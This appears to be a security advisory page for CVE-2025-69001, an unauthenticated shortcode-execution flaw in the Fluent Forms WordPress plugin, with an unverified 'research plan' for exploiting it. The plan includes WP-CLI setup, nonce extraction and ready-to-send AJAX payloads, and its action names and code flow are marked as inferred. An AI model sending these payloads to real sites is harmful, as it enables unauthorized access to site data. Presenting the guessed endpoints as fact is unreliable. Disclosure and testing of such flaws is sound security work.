CVE-2025-69001

FluentForm <= 6.1.11 - Unauthenticated Arbitrary Shortcode Execution

mediumImproper Control of Generation of Code ('Code Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
6.1.12
Patched in
22d
Time to patch

Description

The The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 6.1.11. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.1.11
PublishedJanuary 13, 2026
Last updatedFebruary 3, 2026
Affected pluginfluentform

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting **CVE-2025-69001**, an unauthenticated arbitrary shortcode execution vulnerability in Fluent Form. ### 1. Vulnerability Summary The Fluent Form plugin (versions <= 6.1.11) exposes an AJAX endpoint to unauthenticated users that processes a user-supplied strin…

Show full research plan

This research plan focuses on exploiting CVE-2025-69001, an unauthenticated arbitrary shortcode execution vulnerability in Fluent Form.

1. Vulnerability Summary

The Fluent Form plugin (versions <= 6.1.11) exposes an AJAX endpoint to unauthenticated users that processes a user-supplied string through the WordPress do_shortcode() function without sufficient validation or restriction. This allows an attacker to execute any registered shortcode on the site, potentially leading to information disclosure (leaking configuration, user data, or database details) or further exploitation depending on other installed plugins.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: fluentform_render_shortcode (inferred) or fluentform_get_shortcode_rendered (inferred).
  • Vulnerable Parameter: shortcode or content.
  • Authentication: Unauthenticated (wp_ajax_nopriv_* hook).
  • Preconditions: A valid WordPress nonce for Fluent Form might be required, though unauthenticated users can obtain one.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler:
    add_action('wp_ajax_nopriv_fluentform_render_shortcode', 'handle_shortcode_render');
  2. Input Handling: The handler retrieves input from $_POST['shortcode'].
  3. Vulnerable Sink: The code calls do_shortcode(wp_unslash($_POST['shortcode'])).
  4. Response: The result of the shortcode execution is echoed back to the user.

4. Nonce Acquisition Strategy

Fluent Form typically requires a nonce for its AJAX requests, even for unauthenticated users. This nonce is usually localized into the page source when a form is present.

  1. Identify Shortcode: Fluent Form uses [fluentform id="1"] to display forms.
  2. Create Test Page: Create a public page containing any form to force the plugin to enqueue its scripts and nonces.
    wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[fluentform id="1"]'
    
    (Note: Ensure a form with ID 1 exists, or create one first using wp fluentform create if available, or check existing forms via wp db query "SELECT id FROM wp_fluentform_forms LIMIT 1").
  3. Navigate and Extract:
    • Use browser_navigate to visit the newly created page.
    • The plugin localizes data into a global JavaScript variable, typically fluent_forms_global_var.
    • Use browser_eval to extract the nonce:
      window.fluent_forms_global_var?.fluentform_nonce
      

5. Exploitation Strategy

Once the nonce is obtained, use the http_request tool to send the malicious AJAX request.

  • URL: https://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=fluentform_render_shortcode&nonce=<EXTRACTED_NONCE>&shortcode=[wp_version]
    
    Note: Replace [wp_version] with more impactful shortcodes if other plugins are active (e.g., [contact-form-7-info] or [gravityform_data]).

6. Test Data Setup

  1. Ensure Fluent Form is active: wp plugin activate fluentform
  2. Create a Dummy Form:
    • Fluent Form requires at least one form to exist for its logic to trigger correctly on the frontend.
    • Use WP-CLI to ensure a form exists: wp db query "INSERT INTO wp_fluentform_forms (title, form_fields, status, appearance_settings) VALUES ('Exploit Test', '[]', 'published', '[]')"
  3. Create Page: Place the form on a page as described in Section 4.

7. Expected Results

  • Success: The HTTP response body will contain the rendered output of the shortcode. For [wp_version], the response should contain the current WordPress version string. For [site_url], it will contain the site URL.
  • Failure: The response might be 0, -1, or a 403 Forbidden if the nonce is invalid or the action name is incorrect.

8. Verification Steps

  1. Check HTTP Response: Verify the body contains the expected string (e.g., "6.7.1" for WordPress version).
  2. Verify via CLI: Confirm the plugin version is vulnerable:
    wp plugin get fluentform --field=version
    

9. Alternative Approaches

If fluentform_render_shortcode does not exist, investigate other common Fluent Form AJAX actions by searching the plugin directory:

grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/fluentform/

Common alternative action names for dynamic content in Fluent Form:

  • fluentform_get_shortcode_rendered
  • fluentform_smart_tags_callback
  • fluentform_render_form_preview (if registered as nopriv)

If the target is fluentform_smart_tags_callback, the payload would look like:
action=fluentform_smart_tags_callback&nonce=<NONCE>&content={source.shortcode.[wp_version]} (Fluent Form uses curly braces for its internal smart tags which often map to shortcodes).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.